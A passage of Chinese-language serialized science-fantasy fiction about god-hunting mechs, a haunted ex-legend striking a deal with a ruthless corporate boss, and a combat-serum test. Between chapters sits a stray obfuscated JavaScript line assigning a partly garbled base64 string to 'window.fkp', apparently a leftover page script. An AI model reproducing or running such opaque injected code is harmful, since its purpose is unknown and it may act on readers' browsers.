实验失败后的间期,她来到城堡的后花园中散步,寻找新的头绪。就在这时,一个身着白色礼服的年轻男子走向了她。他的皮肤黝黑,瞳色如紫罗兰,还有着一头银色短发,长相十分帅气。他人高马大、身形健硕,身高比安吉拉高了一头;他腰间还别着一把短刀,看着别具威严。但他的表情倒是很从容淡定,与他这幅威严满满的模样甚是不符。 黯·安吉拉: “妈妈,实验又失败了?” 安吉拉: “没错呢,儿子。这是这周第一次失败,真是让人灰心。” 黯: “不必担心,妈妈。失败是常有的事,任何道路都不是一帆风顺。多坚持一会,也许就能见到不一样的彩虹。” 安吉拉笑了。 安吉拉: “感谢儿子祝福。有你这话,妈妈更有干劲了呢。” 黯: “妈妈开心就好。” 两瓶调和剂,对应光与暗的秩序。光促生出了希望,暗促生出了绝望。希望恒有,绝望同在。暗凸显了光的闪耀,光凸显了暗的阴冷。黯同伊一样,也是调和剂的产物。他,即是暗之子。 “the survival of the primeval forest is being more and more intense, and countless creatures on this land are being more and more restless. many forces are ready to move and ready to go, and the sleeping demon king and holy God are about to wake up. the voice of the underworld became louder and louder. It awakened the sleeping world.(原始森林的生息愈发浓烈,这片土地上的无数生灵愈发躁动。多方势力正蠢蠢欲动着、蓄势待发,沉睡的魔王与圣神即将苏醒。冥古宙的声音愈发嘹亮,它唤醒了这个沉睡的世界。)” “perhaps I should make this evaluation. the end of the world will be the end or rebirth.(也许我该作此评价,这个世界的结局注将是终末或新生。)” “war is inevitable. the knife of doomsday has been hanging over the head of every living creature.(战争不可避免了,末日的闸刀已经悬在了每一个生灵的头顶。)” “the final battle has begun. whether to live or die depends on the performance of the soldiers.(最后的战斗已然开始,是生是死就看战士们的表现了。)” 八台星械的设计蓝图再次出现。观察者调试蓝图,将蓝图缩小成一个又一个的立方体。观察者调出全息世界地图,根据地图上的标注选好了八个点位。八个点在地图上亮起,宣告了八大试炼场的设立。它们分别地处:东洋墟、太玄国、西柏木、秋山国、天书国、耀星国、樱藏神府、东玲国。地图边缘的齿轮开始运转,多种既定程序开始运作。 在观察者的操纵下,一座座基站从近地轨道的歌者号空间站中发射向那八个国家。进入大气层的瞬间,全体基站进入隐身状态,随即一个迁跃来到地表之上。按照预定的程序,这些基站扎根于土地之中,如一颗种子一样陷入沉睡。在不久的将来,观察者将激活这些种子,为世界人民带来考验。 “I will make machines like gods and use them to screen out divine hunters who hunt gods. I will design eight tests and use the laws of nature to select the most powerful human soldiers.(我将制造出如神明一般的机械,用它们来筛选出狩猎神只的神明猎人。我将设计八种考验,用自然法则筛选出最强大的人类战士。)” “they will be strong and destined to defeat the gods. but they are not gods themselves, just ordinary people.(他们将是强大的,是注定能战胜神明的。但他们本身不是神明,只是普普通通的人。)” “It's a pity that I can't get rid of the traitor myself. I can only hope on these humans.(十分可惜,我没办法亲手除掉那个叛徒。我只能寄希望于这些人类身上。)” “As far as I know, these humans are far more powerful than our ancestors. they are not fragile.(据我所知,这些人类的实力远超我们的祖先,他们不是脆弱的。)” “As long as they have the opportunity, they can create miracles.(只要有机遇,他们就能创造奇迹。)” “Legends such as ogayarosh, shangwujian and stedilo.(诸如厄嘉耶罗什、殇无间、斯特迪罗这样的传奇。)” 观察者背后的空间愈发开阔,机械的轰鸣声回荡在其中。大屏幕关闭,接二连三地所有显示屏都熄灭了。观察者坐在椅子上,向后滑动一段距离来到了工坊之中。工坊内的一座巨大的熔炉正在运作,灼热无比的星流之火从炉中的细微缝隙中逸出。工坊内还有许多铸造设备以及很多高科技设备,这都是观察者制造机械所用的工具。其中工坊里最显眼的,还是存放着观察者造物的那八个集装箱。 观察者很满意地点了点头,然后轻轻地眨了眨眼。紧接着,八身造型各异的Exo装甲被蜘蛛机器人抬起。在蜘蛛机器人的紧密配合下,它们将这八神装甲都无一例外地都整齐放到了观察者工作台上。观察者仔细审查了这八身装甲一番,确认质量都过关后满意地点了点头。 “Zhong tangmin, you will pay for your behavior.(钟唐岷,你终将会为了你的行为所付出代价。)” “Even if I can't hurt you, the stars of boJIANG, tianlong and centaurus will make you pay with absolute strength.(即便我伤害不了你,波江星座、天龙星座、半人马座的星神卫会用绝对的实力让你付出代价。)” “I'm curious......(我很好奇......)” “You and she are the last organic human beings. why bet your life against the rules of the Star Alliance?(你和她同样是最后的有机人类。为何要赌上性命,去违反星盟的规则呢?)” “I don't understand.(我不理解。)” “Is it for love? but why do you create hate? It's hard to understand how to use hate to fulfill love.(是为了爱吗?可为何你要制造恨?用恨来去成全爱,这是件难以理解的事。)” 观察者眨了眨眼,这些蜘蛛机器人立即将这八身装甲运走,随同Exo武器一起分别装入到了八个Exo战利品箱中。这是观察者为挑战胜利者准备的礼物,是他科技的伟大造物。 对于地面上的这个世界的人来说,这些Exo装备是超越神明的造物,是能猎杀神明的无上圣物。 观察者设想过,如果那些强大的人类战士获得了这些强力的装备,那么他口中的那个叛徒注将会死在这些战士手中。毕竟他赋予了这些武器绝对强大的力量,理论上弑神什么都不在话下。观察者也同时在担心着,若是这武器落到了坏人手中,那么将对人类社会造成无法挽回的灾难。但无论如何,这一步他终究得迈出。 “this is it. It's time to end it.(事已至此,也该去做个了断了。)” “God of the end, work with me to save the fourth world on the verge of collapse.(终末神,协同我一起,拯救这濒临崩毁的第四世界吧。)” “Return the peace that belongs to the world.(将本属于这个世界的和平归还。)” “Sigma will return to this world, and the rules of the world need to be re regulated.(斯格玛将会重返这个世界,世界的规则需要重新律正。)” 观察者转过身去,他身后的空间瞬间变成漆黑一片。 “those hunters who can bear witness like gods, and those who can hunt like gods. the stars of mankind will shine!(敬请见证,如神一般的星械,还有那些能狩猎神明的猎人。人类的群星注将闪耀!)” 许多道耀眼的光芒在观察者身后出现,在黑暗中如明星一般闪烁。放眼看去,犹如一只只恶兽在黑暗中潜伏。事实上,那是八台苏醒的星械所发出的光芒,是神明造物初生时的耀眼序幕。那光芒,蕴藏着无穷无尽的力量与希望,还有观察者渊博的学识与智慧。一声刺耳的鸣叫过后,八台星械全部进入战斗状态,随时待命。 观察者眨一眨眼,随后观察者身后灯光亮起,八台星械的真容展现在观察者身后。观察者挥挥手,星械随即离开工坊,飞向工坊之外的月之海。 至此,斯格玛正式介入这次循环。 与此同时...... 在幸存者联盟国某处的街道上,浓浓的白雾在街上弥漫着。一道寒冷的白光洒进雾中,一位身着华丽的妇人在雾中显形。她孤独行走着,面无表情地审视空旷的街。她的左手无名指上带着枚发光的戒指,戒指上嵌着一颗如星一般闪烁的宝石。她戒指上的宝石散发出淡淡的微光,光线如一根蕴灵的金线一样蜿蜒穿过白雾,向上直入天空且端点指向远方。 遥远的异国他乡,也有同样的一根蕴灵金线。顺着金线端点向下延伸,尽头也是一颗嵌在戒指上的宝石,它也如星一般闪耀。这两个戒指是一对,都在用金线指明彼此的方向。这等寓意,象征真挚的爱情。但其蕴含的含义并非局限于此,其是不凡的宝物,是有“双生”之名的对戒。 与她对应的那个他,是带着另一个戒指的、一个身披白绒毛黑头蓬的三臂怪物。他的名字无人知晓,除了他所对应的那个她。但从他狰狞的表情与眼神之中的杀意看出,他的心中具有浓烈的恨意。因而他在当地有个响亮的名号,名为“憎恶”。 憎恶此刻拖着一个邪教徒的尸体,驼着背在漫天黄沙的古战场上艰苦地前行。走了几步,他再也无法忍耐饥饿的感觉,于是一把将手中的邪教徒尸体甩到自己面前。他低吼着张开三臂,跪坐在这具尸体前,猛地低下头如一头饿狼一般啃食起来。大快朵颐几口之后,他颤抖着站起身来。他喘了几口初期,然后对着天空张开了他的手臂,痛苦地对天空大声嚎叫。他的嚎叫听起来非常刺耳,还很有威慑力,就如猛虎的怒吼一般。 憎恶: “Rarhhhhhh!!!” 他就如一只野兽一样。可他不像是真正的野兽,他身上的每一处细节都能体现他曾经是文明社会的一员。他的吼叫不是来自野性,而是一种痛苦地呻吟。更具体了说,那是他一种宣泄情绪的方式,痛苦、愤怒、憎恨、无奈、迷茫都是他吼声之中所蕴藏的。 他渴望回到家乡,重新过上原本平凡的生活。他渴望见到爱人,重新为所爱之人谱写幸福诗篇。他渴望重新为人,重新做回那个平凡的自己。他渴望!渴望,渴望......渴望着,孤独地渴望着。 在白雾中漫步的她,感受到了从远方传来的痛苦。她的神情不由得变得失落起来,只觉得怆然与心痛。即便是相隔万里、千山万水作为屏障,她和他的心也依然是相连的,那一对戒指就是信使。 雾中夫人: “我在等待着......命中注定之人。命运的感召会将英雄带来,希望的曙光将在那日普照。我愿他能归来我身旁,更愿这世间的情人终成眷属。希望那日就在明天,希望英雄能凯旋归来。” 她继续在雾中走着,身影在雾中愈发模糊。最后消失得无影无踪,只留下寂静的白雾。过一会,雾消散了,她随同雾一起离开了。 到了夜幕降临的时候...... 在东洋墟的一间十分普通的酒吧里,许多下班后想要舒缓心情的上班族们汇聚于此,喝着各自喜爱的酒,感受着各自的辛酸与快乐。酒吧里放着轻松欢快的音乐,音乐舒缓着来客们的紧张情绪,塑造出一个愉快的氛围来。在音乐的音律中,来客们这一日的压力慢慢消散。再加上饮下一杯自己喜爱的酒,这压力的消散更加迅速了。 普通上班族: “能在下班后喝上这样的一杯淡酒,真是难得的一件美事啊。就让这一天的种种不如意,随着这酒水的下肚一同消逝吧。” 酒保: “祝你今宵愉快!” 普通上班族: “你也一样。” 在酒吧的吧台旁,一个不起眼的小区保安正孤独地喝着一杯烈酒。他不与身旁的人交流,只是默默地喝着酒。喝酒时,他一直低着头,从不抬头去看周围。在酒吧舒心与欢乐的氛围之中,他显得格格不入。 他浑身上下散发着冷气,好似死去的逝者一样,处处体现着死僵着的样子。他的表情很是忧郁,仿佛是经历了大灾大难。他暗色的眼眸中的世界是灰色的死寂,是阴霾所环绕、绝望所笼罩的末世。他的身躯坚挺在这里,但也许他的心灵早已分崩离析。 这时一旁有人搭讪,但他没作回应,只是闷头喝着自己那一杯苦涩的烈酒。那人见他如此,也便不搭理他,转而去找酒保买酒。简单几句交流与闲谈之后,酒保给这位客人配好了酒。 酒保: “祝你今天愉快!” 客人: “哦。谢谢啊。” 这位客人开心地付了钱,然后拿着一杯特制鸡尾酒去了一旁。在这位客人走后,酒保如往常一样擦起了杯子。这时,他抬起头环顾周围一圈。在确认没有人再来要酒后,他开口与这位他所熟识的酒保聊天。 “小马哥,今天生意怎么样?” 酒保小马哥微笑着说: “今天生意还行,客人比平时多些。——怎么了?陈思成。看你这面容,是今天心情不好吗?” 他顿了一下,接后说道: “没事,我就是有些怀念我的家乡了。” 小马哥看出了他的心思,说: “又想起那些故人了吧。” “......算是吧。” “唉......不说那些伤心事了。今天多喝几杯吧,我给你打五折,前三杯不要钱。” 他从颓唐的脸上挤出一抹微笑,说: “感谢。” 小马哥微笑着摇了摇头,说: “谢就不必了。你是我这儿的常客,我理应该顾及你些。毕竟人都有伤心的时候。” 他真诚地举起手中的烈酒,向他致以敬意。他微笑着说: “敬你一杯。” 时间一转眼就到了后半夜。酒吧里的人几乎都走光了,只剩下他一个还赖在吧台上,迟迟不离开。酒吧里的音乐停了,炫彩的灯也熄灭了,只留一盏吧台的照明灯还亮着。他半趴在吧台上,一脸伤心的样子。 他面前的几个酒杯皆空,他手中的酒杯也是如此。他握着手中的酒杯,不知为何用力紧握,不肯松开。他满脸通红,全身散发着酒气。他的眼角泛起泪花,心中的痛楚令他难过。他盯着手中的空杯,杯子壁倒映出了他颓废的身影。看着那身影,他苦笑了几声。 这时,小马哥看四下无人,想下班离开。但小马哥为了照顾他的感受,就一直守候在吧台中,等待他睡去或是离去。透过他的眼,小马哥看到了绝望与叹息,无穷无尽的痛苦蕴藏在其中。小马哥心有不忍,就寻思晚点下班,多陪他聊聊天。小马哥故意在他面前张望了一圈周围,让他放下了戒心。之后,小马哥对他说: “人都走没了,你也就不必拘谨了。要是心里难受,想跟我诉苦的话,就开口直说吧。我知道你心里不好受,一直以来我也没见你开心过。” 他似醉非醉般地回应道: “嗯......嗯?抱歉,我没法告诉你呀。那是......我的梦魇......” 小马哥从容地说: “好吧。我也不强求,由你的意思来。” 这时候,他想到了什么,突然皱起眉来,表情难看了许多。他问了小马哥一个很特殊的问题。 “对了,小马哥。我问你个问题......你觉得我可笑吗?” “非也。我觉得你人挺不错的,怎有可笑之称呢?” 小马哥干脆利落地回答道。他没太在意小马哥的回答,那样的回答只是冰川上落下的一铲。他自顾自地解释道: “那只是外在的......实际上我是个可悲的小丑、提线木偶,还是个被玩弄的笼中之鼠。” 小马哥听后好奇,问: “为何这么说呢?” 他冷冷地回答: “你不知道......也不该知道。你要是知道了,你就不在了。你不在了,我又害死了一个人呀。” 小马哥没在追问,只是有些遗憾地说: “看来是有难言之隐啊。” 他缓缓拿起酒杯,将酒杯里的几滴剩酒喝下。喝过后,他将杯子放在一旁,然后低下头来,苦笑着摇了摇头。过了一会,他抬起头来,问了小马哥又一个特殊的问题。 “那你觉得......当一个人触及到梦想边缘的时候,那个人唐突地失去了一切。最后手一松,连梦想也失去了。既然这样,还有什么是能让那个人值得去奋斗、去坚持呢?” 小马哥回答: “......我不知道。” 接着,他又问出了一个特殊的问题。不过这次,他的口吻深情了些。 “当亲人、师长、朋友、家庭、挚爱、事业一个接一个地逝去时,还有什么是值得拥有的?还有什么是可以去拥有的?那样的人生一定糟透了吧。那样的活着,定是一种煎熬吧。每日如行尸走肉般活着,看不到一点希望的踪影。在绝望中呜咽、在痛苦中挣扎、在这个冷酷无情的世界中悄悄凋亡,就如那花儿一样。” 听他说了这么多,小马哥一时不知道该怎么回答。他见小马哥这番样子,也明白自己说的话有些多余。他委婉地说: “哦!抱歉,我说太多废话了。不必在意我刚刚说的那些。” “陈思成......” “我只是认识了一个这样可怜的家伙,正巧赶到合适的话题,就跟你说说他曾问我的这些问题。听起来很哲学吧,还有些无厘头啊。——唉......我真替那人感到难过。若是命运再能仁慈些,也许他过得还不至于那么糟。可惜命运无情,他最终在悲剧中死去。” “真替他感觉惋惜。这世上怎会有如此可怜的人存在?!唉......除了惋惜以外,我无法为他做些什么。——若我见了这样的人,我定会因他而难过一阵子。” 他看了看表,发现此时意识午夜。他不想耽误小马哥下班,但又想再喝一杯再离开。在酒意之中,他没多想就选择了后者。 “不说这些了,说这些也没多大用。事实已是如此,早就没了改变的机会。今天过完还有明天,再喝一杯就回家吧。” 小马哥露出微笑,不厌其烦地说: “小马哥为你服务。” “再来一杯酒!淡酒‘温德华’。” “好嘞!” 离开酒吧后,他在迷茫中漫步于街道上,跌跌撞撞地寻找回去的道路。走着走着,他到了一根路灯杆下。正巧他累了不想继续前进,他就靠在路灯杆旁休息。他抬头看着耀眼的路灯,恍惚间他看到了太阳与晴空。他陷入幻想。晴空下他站在生机盎然的原野上,展望自己光明的未来。幻想结束,他回归冰冷的现实。突然,他想抽烟了。 午夜微微寒风如池中的涟漪,轻拂过空荡又寂静的街道。城市的霓虹灯将天渲染着晚霞的颜色,一一条条流动的光带在高楼之间穿梭。城市的夜色美得让人沉醉,美的同时又有些虚无缥缈。 他在路灯下抽烟,耀眼的灯光照耀着卑微的他。一根、两根、三根......很快一盒香烟被他抽完。每当香烟燃尽的时候,他都会感到莫名的舒心与愉悦。那一刻他仿佛登入仙境,舍弃了人间的红尘,一瞬之间什么痛也感觉不到。但那种感觉是短暂的,很快痛苦就再次萦绕在他的心间,折磨他早已冰冷的、伤痕累累的心灵。一盒烟抽完,他身旁烟气环绕,可他仍有些意犹未尽,还想再抽些。 这时,他的手机响了。他有些不耐烦地拿起手机,接通了电话。这时候,电话的那一头传出了令他毛骨悚然的声音。 碧蓝苍穹: “你好呀......今晚的夜是不是很美呢?亲爱的赞助者先生?” 陈思成: “碧蓝苍穹?你怎么会在这时给我打电话?” 碧蓝苍穹: “怎么?我想你了还不能跟你说说话吗?嗨呀!弄得这么冷漠,让我都有些尴尬了。” 陈思成: “你可真是个思路新奇的家伙。说吧,找我有啥事。这周的血我已经奉献完了,我也没干什么违背规则的事。” 碧蓝苍穹: “既然你都这么说了,那我就告诉你吧。我想和你做个交易......” 陈思成: “你要让我给你打工直说,别说的那么隐晦。” 碧蓝苍穹: “不不不,这会是真的交易哦。” 陈思成: “嗯?说来听听。” 碧蓝苍穹: “过几日我的手下会给你送达四份情报。而你要做的,就是取到情报里的东西,然后交给我。作为报酬,我将给予你自由,并给予你一个新的身份。到时候,你将自在地活在这都市之中,不必再担心我们的管束。那时,我们就不必再有联系了。” 陈思成: “真......真的吗?你真的愿意放了我?还是说,你只是想看到我惨死与挣扎,就像是看一只笼中之鼠一样。” 碧蓝苍穹: “不不不,我可没那么绝情。念在你辅助我研发出了血清装备,我定会给你个好结局看。不然,怎对得起你呢?” 陈思成: “但愿如此。你要是说话算话,我还有理由战斗。碧蓝苍穹,请履行你的诺言,算我恳求你了。” 碧蓝苍穹: “不用这么客气。这也是为您着想呢。” “毕竟......您可是非同凡人的存在啊!可是都市的一届传奇人物呢。我自然是要对你敬重些。” 陈思成: “......” 碧蓝苍穹: “还有......” “被关在笼子里的感觉肯定不好受吧......毕竟您可是野狼啊,怎能像鼠儿一般屈服呢?” “你说我说的对吗?都市野狼·齐百陵先生......” 齐百陵: “你这家伙......别那么叫我,齐百陵早就死了。他随着夜曲的落幕一同消逝了,永远。” 碧蓝苍穹: “看来齐先生有些不敢承认。但无论你是谁,这笔交易我们都得进行下去。我为了我的研究,你为了你的自由,我们谁也不欠谁的。” 齐百陵: “只是交易,愿你能履行你的承诺。” 碧蓝苍穹: “放心。我定会说到做到。——还有......到时候事情结束了,需要帮你复制个卡娜铃兰出来吗?” 齐百陵: “你!!!......不必了,谢谢。” 碧蓝苍穹: “嘿嘿,开个玩笑不必在意。——那么,交易就谈成了。——祝你做个好梦,齐百陵先生。” 说完,碧蓝苍穹挂断了电话。 他放下电话,站在路灯杆旁迷茫着。灯光照耀着他,冷风吹拂着他,他宛如舞台上的主角,伫立在舞台中央。沉寂许久、冷淡许久,那个曾让无数人闻风丧胆的、如狼一般的男人,此刻拔出了心中的刃,重新展现出那如死神般的俊姿。他回来了。 路灯下他平淡地站着,心海上他如一头猛兽般嘶吼着。身上的枷锁百万条,真正束缚住他的只有一条;外面的囚笼数十层,真正关住他的只有一层。他私下脸上的黑面具,重新露出锐利的獠牙。尽管如笼中之鼠般窝囊,但他依然要去拼搏,为了生存与自由! 他抬头仰望星空,低声且庄重地宣布道: “终究是要回来吗?这一日还是太久。不过机会已有,万事也只欠东风。既然如此,那我怎肯去放弃?这笼子终究是管不住我的,这一点疏忽就是我逃脱的方式。” 他握起拳头,全身上下的颓唐瞬间化作斗志,似烈火般在他心中燃烧。冷风呼啸带来夜的极寒,可他的心灵炙热如烈焰。 “看好了,整个世界。笼中之鼠,将蜕变成龙,让你们魂飞魄散!——我亲爱的妻子,我可爱的孩子,为了你们的期望与心愿,我将再次握起刀来,向这个无情的世界,斩出那鲜血淋漓的一刀。” “尽请拭目以待,都市野狼归来!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第零话:小剧场4 通历43年8月26日上午,在碧蓝世界位于某座城市郊区外围的试验场中,一种新型的高科技武器正在进行着实验。在场的科研人员们很紧张,试验成功与否决定了他们这些时日的努力值不值得,以及决定他们是否能拿到荣誉与奖赏。他们齐刷刷地看向试验场中央的标靶与测试者,都死死地盯着,一刻都不敢疏忽。 情报部部长杰亲自来到了试验场中,亲自观看武器的实验;并且杰还带来了录制机器人,通过远程直播的方式将现场的实时画面传达给远在碧蓝世界总部的碧蓝苍穹。全场的人都注视场中的标靶与测试者,目不转睛、全神贯注。他们之间弥漫着紧张与不安,还有着浓烈的期望。 测试者身着一身标志性的银色衣服,面带黑色面具,左手穿戴定制的血清注射装备[S.I.E·Emd Nova]。受试者名为m,是碧蓝世界安保部的副部长。碧蓝苍穹特意挑选了他来测试血清,主要是看中了他的人品与资质。即使碧蓝苍穹更想让安保部部长铁锤·奥斯卡来进行测试,但由于诸多原因,碧蓝苍穹还是让他来进行血清的测试。 测试前,m拿出了一支红色的血清,将它放在了血清装备的装载口处。这支血清名为“bw·Serum a”,其作用是让使用者获得超乎寻常的核心拟态武器的暂时使用能力,并大幅度强化使用者的肉体。 m向一旁抬起左臂,然后用力握拳。掌部的压力传感装置感应到力,内部的机械零件开始收缩、变换。血清注射装备上的排气口挡板慢慢上升,小幅度横移后打开排气口。血清储罐上下两端的环状光带发出耀眼的蓝光,血清本体的血红色此刻艳丽起来,并也发出了光。呲嘶一声,红色薄雾从排气口中喷出,装置内的气压平衡过来,红色的血清液也随之被打入了m体内。 血清注射完成,m浑身上下都有着跃动的亮红色雷电,仿佛是雷神附体了一般。同时,m体内涌动着极为强大的能量;这股能量如桀骜不驯的腾飞巨龙、又如八面威风的林间猛虎,顿时间m体内是龙腾虎跃。不仅如此,m身旁的气场还发生了改变,原本平静的风吹过他的身旁时,瞬间变得极速如雷、冰冷刺骨。 m放下抬起的手,在手贴腿部的一瞬间,他瞬间起手抓过一旁的空气,刷的一下,他竟在空气的刀鞘中拔出一把红雷铸之刀!这一景象惊呆了在场的众人。m一个垫布加甩手,在只有眨眼的功夫,对面前的金属机器人标靶连续斩出五刀,咔嚓几下就斩断了面前标靶的四肢与首,还顺带破了它的双盾。 在场的所有人立马欢呼起来,喜悦似春雨降临在他们的心头。杰鼓掌庆祝,连连点头认可。碧蓝苍穹直接是开了一瓶香槟,一口喝了个三分之一。在中人们喜悦欢呼之中,碧蓝苍穹兴高采烈地说: “芜湖!完美。不愧是我的得力协助者们,仅是beta测试版,就能达到如此完美的境界。太妙了,太妙了!这月有月终奖!” 在场的科研人员们一听老板这么说,脸上更多了几分笑意。笑归笑,笑过了试验还得继续。杰最先收起笑容,他知道试验还未彻底结束,此时还不能完全放心。杰从一旁的记录员手中拿过全息信息板,看了看上面的试验列表,还有三项测试未完成。看过,杰随即就还了回去。 杰: “各位,先别忙着庆祝。还有三项测试未完成呢。” 在场的科研人员们一听,急忙收敛起喜悦,继续去指导并观察接下来的实验。在碧蓝苍穹等人的注视下,已经研究趋于完善的血清β、γ、x进行实战测试。伴随着研究组长的一声令下,不同种类的战斗机器人出现在试验场中,在指令的命令下与m进行战斗。 “测试内容,bw·Serum β。” m在战斗中故意被格斗机器人打伤,再使用红雷刀斩杀能对他造成威胁的格斗机器人,最后后撤到一个空旷的区域,拿出绿色血清进行注射。绿色薄雾环绕在m的左臂处,刹那后消散;绿森风格的多层套环乍现在m脚下,随即强大且温暖的能量包裹住m全身。只是刹那,这能量就治好了m身上的所有伤疤,还让他提神醒脑、战意更浓。 “测试内容,bw·Serum x。” m拿出青色血清进行注射,青色薄雾还未等消散,m就化作迅影,瞬闪到了其中一个格斗机器人面前。几个光点出现在它的周围,光点之间瞬间生成无数连线,条条贯穿它的身躯。仔细一看,那几个光点是m提刀移动时的残影。叮叮当当几声过后,m瞬闪到它后方七八米处,紧接着它就在众人的注视下,在眼花缭乱的刀光剑影中化成了无数细小碎块。 众人发出欢呼,紧接着试验场内回响起激烈的掌声。 “测试内容,bw·Serum γ。” m拿出银色血清进行注射。银色薄雾环绕在m的左臂处,刹那后消散;苍银之息在m身上狂躁泛起跃动着,如一团银色烈焰燃烧在他的身躯上。m感觉自己充满了力量,仿佛唤醒了他心中的猛虎。野性的烈火在他心中燃烧,给予他前所未有的力量。斯文的西服不再能遏制他心中的野,他不再畏惧世间的任何事物。 他的招式变得迅猛而又致命,几招内就结果了那些格斗机器人。在战斗的某一刻,他甚至想手撕这些格斗机器人。可想而知,这份野性究竟有多强大。 试验场中的众人看得是瞠目结舌。在场众人虽料到结果如此,但亲眼目睹仍是震撼到说不出话来。片刻的沉寂之后,最先开口的是最惊讶也最高兴的碧蓝苍穹。 碧蓝苍穹: “好!很好!非常好!好极了!就是这样,我要的效果就是这样。” 在试验结束后的晚上约四五点钟的时候,碧蓝苍穹把刚回到总部的m约到了自己的办公室中,并与他谈论有关试验时他的感受。 碧蓝苍穹: “m,告诉我血清使用时的感觉。” m: “老板,我当时只感觉到强大的能量顺着血清流入我的身体,我的静脉中流淌的血液都饱含力量!我有种感觉,我好像能单挑高阶四星调解人了!不......是单挑收尾人。那股力量实在是太强大了!真的太强大了!” 碧蓝苍穹: “嗯......不错。还有吗?” m: “那些血清或多或少都有一定的治疗效果。我在注射诸如a、γ之类的血清时能明显感觉到身上的伤口在快速愈合。但比起专业疗伤的β血清来,它们的效果还是逊色很多。” “治疗效果......看来,原材料中的某些成分具有我想不到惊喜啊。那说来也挺不错的。既能提升战斗力,还能治疗肉体,两全其美一箭双雕,岂不美哉?哈哈哈,这日子越来越有盼头了。” “老板,恕我直言。我现在有个担忧......” “说,我听听。” “血清的抗药性时间约有十几秒,多的也有个三十多秒。我怕等血清成品问世的那一天,血清的出现会扰乱整个“金字塔”体系。它能让常人化作强者!强者不言而喻,再强者更是难以想象!” “这你就不用担心了,这是规划部部长柳冰冰及其其他部长的事了,你作为战斗人员,不需要知道太多。” “我明白了,老板。是我多嘴了。” “不,m。你反倒提醒了我,你让我提前认识到了这个问题。我的确得想些办法去处理这个问题,不然到时候出事了可就麻烦了。——无论如何,我都不能再做出搬石头砸自己脚的事了。” “愿老板你能处善妥当吧。” “嗯。你可以走了,m。回到你的岗位上工作吧。” 随即m离开了办公室。在m走后,碧蓝苍穹叫来了戴达斯和杰。碧蓝苍穹就血清一事,与他们谈论。 碧蓝苍穹: “戴达斯,血清装备何时才能量产?” 戴达斯: “还需要至少半年的时间。” 碧蓝苍穹: “嗯?这么久吗?害......若是能早日量产,那我们定会跻身成为世界前二十强企业。到时候,我们集团的力量将能与多方英豪抗衡。” 戴达斯: “那定是。” 碧蓝苍穹: “不过,量产还早。在量产版血清研究完成之前,我们还得对量产型血清规划蓝图进行些修缮。——我们需要添加少部分的治疗药水,让血清的抗药性时间延长。若不然,恐怕到时候会出乱子。” 戴达斯: “这个注意不错。老板,那到时候就按你说的来。” 碧蓝苍穹: “戴达斯,别忘记一件事。我们私家的血清不必需要这种修缮,只需让它更加强大就足以。而且......不要让血清的事传出去,更不要让重要科研文件落到其他人之手。提防我们内部随时可能出现的叛徒!这话也是对情报部部长说的。” 戴达斯和杰信誓旦旦地说: “明白!老板。” 碧蓝苍穹: “杰,你留下。戴达斯,你先回去吧。” 随即,戴达斯离开了办公室,只留下杰和碧蓝苍穹。 碧蓝苍穹: “杰,艾安那事调查的怎么样了?” 杰: “老板,应你的要求,我们现在已经调查到她的具体行踪了。而且,还发生了许多出乎意料的变故。很有趣......” 碧蓝苍穹: “说来听听。” 杰: “艾安自从28年离开了公司本部,就去了东城。在A事件结束后去往了天宗,之后常年杳无音讯。直到最近三年,x事件爆发的时候她再次现身。她那时与一个名为‘薇莉莉’的人在一起,具体位置还是一开始的东城。据我们调查,她再回东城的目的是来寻找一种白色x晶体。那种x晶体很特殊,数量极其稀少。这种x晶体具有催化剂的作用,还能对有机体的意识产生轻微的影响。” 碧蓝苍穹: “这些你曾跟我说过,不过这次话语中貌似有些含金量。——继续说,我想听到更多。” 杰: “据我们调查可知,艾安不止一个。在同一时段我们最多见到过三个艾安同时存在,并且每个艾安的身上还都有着金色十字架样式的腰间挂坠。” 碧蓝苍穹: “嗯?!!什么?” 杰: “艾安貌似在天宗受到了什么特殊影响,她的行为愈发变得古怪起来。我们情报部的人至今无法解释多个艾安存在的原因,但有一点是可以确定的,艾安正在谋划一场大事件,一场针对整个世界的大事件。” 碧蓝苍穹: “有意思......” 杰: “同时,艾安的这一系列行为还与前几日乍现的终末法环有一定的联系。这不是空穴来风,我们调查到了明显的证据。前几日在法环点亮之时,那些艾安的身后出现了一对白羽雏翼。这绝不是能发生在正常仿生人上的事,更何况艾安是拥有高度人类相似度的顶级仿生人。——那些艾安在仰望过法环后突然消失的无影无踪,至今仍下落不明。我们由此可以断定,终末法环与异常的艾安定有联系!” 碧蓝苍穹: “终末法环......看来,有人要借用神明之力搞幺蛾子了。——杰,盯紧艾安。若她做了什么出格的事,立即雇佣收尾人处死她。” 杰: “明白,老板。” 碧蓝苍穹: “还有,给我弄调查调查终末法环,我对它抱有很大的兴趣。” 杰: “好的,老板。” 碧蓝苍穹: “还有一件事。对源能核心技术的研究怎么样了?” 杰: “我们的科研小组取得了不小的突破,源能核心技术已经融入我们公司的奇点技术,新型核心的研发指日可待。” 碧蓝苍穹: “星北空那小子还有残党吗?” 杰: “没有了,他的同党我们已经都处理完了。能纳入旗下的纳入,纳不入的就清空记忆,要么就杀掉。” 碧蓝苍穹: “哈哈哈。很好。我们公司的铁饭碗算是彻底保住了。” 杰: “对了,老板。德奥柯西她......” 碧蓝苍穹: “她呀,那得好好对待。毕竟要不是她,我们还不知道源能核心研究所的位置呢。哈哈哈,真是让人愉悦。但是吧......” 碧蓝苍穹对杰摆了个手势,示意杰除掉德奥柯西。杰点点头答应。 碧蓝苍穹: “像她这样不忠诚的人,即便是如黄金一样的人才,也是垃圾一个。她只配被人唾弃,要么利用,然后一脚踹掉。就连对自己那么好的上司都可以背叛,这样的人怎可能有留的余地?如企业阔树之蛀虫,身虽黄金但也亦舍去。——妥善处理掉她,杰。” 杰: “明白,老板。我现在就着手处理掉她。” 碧蓝苍穹: “别忘了同她一样的叛徒们,也一并扔到下水道里。不......应该让我们的玛丽哈娜去折磨她们,毕竟小玛丽还得吸血维持生命。” 杰: “遵命,老板。” 杰转身要走,碧蓝苍穹突然想起一件事,赶忙叫住了杰。 “等下,杰。” 杰转过身来,问道: “还有什么事吗?老板。” 碧蓝苍穹笑笑,说: 